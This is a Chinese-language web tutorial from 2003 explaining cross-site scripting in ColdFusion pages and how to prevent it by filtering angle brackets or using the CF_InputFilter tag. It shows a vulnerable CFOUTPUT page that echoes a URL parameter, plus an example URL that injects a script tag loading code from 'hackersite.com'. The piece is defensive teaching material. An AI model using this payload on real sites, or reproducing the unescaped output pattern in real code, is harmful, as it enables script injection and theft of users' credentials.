保護(hù)頁(yè)面不受跨網(wǎng)站(cross-site)程序攻擊 作者: Kyle 2/16/03
內(nèi)容:
保護(hù)頁(yè)面不受跨網(wǎng)站(cross-site)程序攻擊 跨網(wǎng)站程序攻擊是網(wǎng)站管理人員經(jīng)常必須面對(duì)的安全性問(wèn)題之一。像是 ASP,CFML 或者 PHP 這類的應(yīng)用程序服務(wù)器,由于它們與生俱來(lái)的動(dòng)態(tài)功能特性,使得它們特別容易受到這一類的攻擊。很多時(shí)候你的程序都會(huì)把某些信息從某個(gè)頁(yè)面?zhèn)魉偷搅硪粋(gè)頁(yè)面,將資料儲(chǔ)存到數(shù)據(jù)庫(kù)中,或者將窗體或 URL 參數(shù)接收到的變量值顯示在頁(yè)面上。雖然能夠在不同頁(yè)面之間傳遞資料看起來(lái)是一個(gè)優(yōu)點(diǎn),但是如果你不夠小心的話,這項(xiàng)特性也會(huì)同時(shí)帶來(lái)嚴(yán)重的安全性問(wèn)題。舉例來(lái)說(shuō),請(qǐng)看看下面這個(gè)超鏈接以及相對(duì)應(yīng)的目標(biāo)頁(yè)面顯示的結(jié)果:
<!--- 下面是你某個(gè)頁(yè)面中的超鏈接 ---> <A HREF="nextpage.cfm?username=Brian">請(qǐng)按這里</A> <!--- 下面是 nextpage.cfm 所顯示的內(nèi)容 ---> <CFOUTPUT> 歡迎來(lái)到下一頁(yè),#URL.UserName#。 </CFOUTPUT>
看起來(lái)夠簡(jiǎn)單了吧?上面這個(gè)超級(jí)鏈接純粹把使用者名稱從一個(gè)頁(yè)面?zhèn)鬟f到另一個(gè)頁(yè)面去(nextpage.cfm),如果你不夠小心的話,這正是問(wèn)題可能發(fā)生的地方?缇W(wǎng)站程序(cross-site scripting)基本上便是欺騙你的 Web 服務(wù)器,讓它在未預(yù)期的的情況下執(zhí)行其它網(wǎng)站上面的程序,JavaScript,Java applet 或者 ActiveX 控件。
如果你觀察上面這個(gè)例子的目標(biāo)頁(yè)面的 URL,它看起來(lái)會(huì)是下面這樣:
http://www.mysite.com/nextpage.cfm?username=Brian 某位不懷好意的使用者可以自己輸入一個(gè) URL,里面包含一個(gè)連向另一部服務(wù)器上面的程序的連結(jié),就像下面這樣:
http://www.mysite.com/nextpage.cfm?username=<script src="http://www.hackersite.com/nastyscript.js"> 當(dāng) ColdFusion 在下一個(gè)頁(yè)面輸出上面的 URL 所傳過(guò)來(lái)的變量的時(shí)候,輸出結(jié)果看起來(lái)變成下面這樣:
歡迎來(lái)到下一頁(yè),<script src="http://www.hackersite.com/nastyscript.js">。 這個(gè)變量會(huì)讓你那無(wú)辜的頁(yè)面在你未預(yù)期的狀況下執(zhí)行對(duì)方指定的 JavaScript 程序代碼。利用類似的方式,對(duì)方也可以在 URL 里面指定惡意的 ActiveX 控件或者 JavaApplet。當(dāng)然,在這個(gè)例子里面,使用者僅是在瀏覽器上面執(zhí)行他們自己指定的程序而已,但如果這些惡意程序代碼被你自己的程序不小心儲(chǔ)存起來(lái)并且之后又輸出到其它使用者的畫(huà)面上(例如搗亂者將某些 JavaScript 程序代碼輸入在你的討論區(qū)發(fā)表文章窗體里面,然后你的程序在不知情的狀況下把這些程序代碼當(dāng)成發(fā)言內(nèi)容的一部份存入數(shù)據(jù)庫(kù)中,那么其它使用者觀看到這篇文章的時(shí)候,那些被刻意放入的 JavaScript,Java Applet 或者 ActiveX 控件便會(huì)在其它使用者的瀏覽器上面執(zhí)行了),這時(shí)候那些程序就可能足以將其它使用者的帳號(hào),密碼或者其它敏感資料暗中傳送到某個(gè)地方去。這項(xiàng)安全性問(wèn)題并非 ColdFusion 才會(huì)發(fā)生的狀況,任何應(yīng)用程序服務(wù)器,只要它能夠接收從 URL 或者窗體傳送過(guò)來(lái)的資料并且顯示在使用者畫(huà)面上,都有可能受到這類攻擊。
幸運(yùn)的是,要避免這種狀況發(fā)生并不困難。你要做的工作是過(guò)濾來(lái)自 URL 或者窗體傳送過(guò)來(lái)的資料,并且將一些特殊的危險(xiǎn)字符,例如 < 或者 >(大于和小于符號(hào)),把他們替換成相對(duì)應(yīng)的 ASCII 字符碼形式(例如將 < 替換成 <)就可以了。事實(shí)上 Allaire 公司提供了一個(gè) CF_InputFilter 自訂卷標(biāo),你可以將它用在你的 application.cfm 檔案里面,它可以替你處理相關(guān)的特殊字符過(guò)濾工作。如果你需要更完整的關(guān)于這項(xiàng)議題的資料,請(qǐng)參考「Allaire 安全問(wèn)題布告欄」網(wǎng)站上面的這篇文章(ASB00-05)。
出處:
責(zé)任編輯:藍(lán)色
上一頁(yè) 使用自訂卷標(biāo)來(lái)設(shè)定版面配置 下一頁(yè) 使用 Fusebox
◎進(jìn)入論壇網(wǎng)絡(luò)編程版塊參加討論
|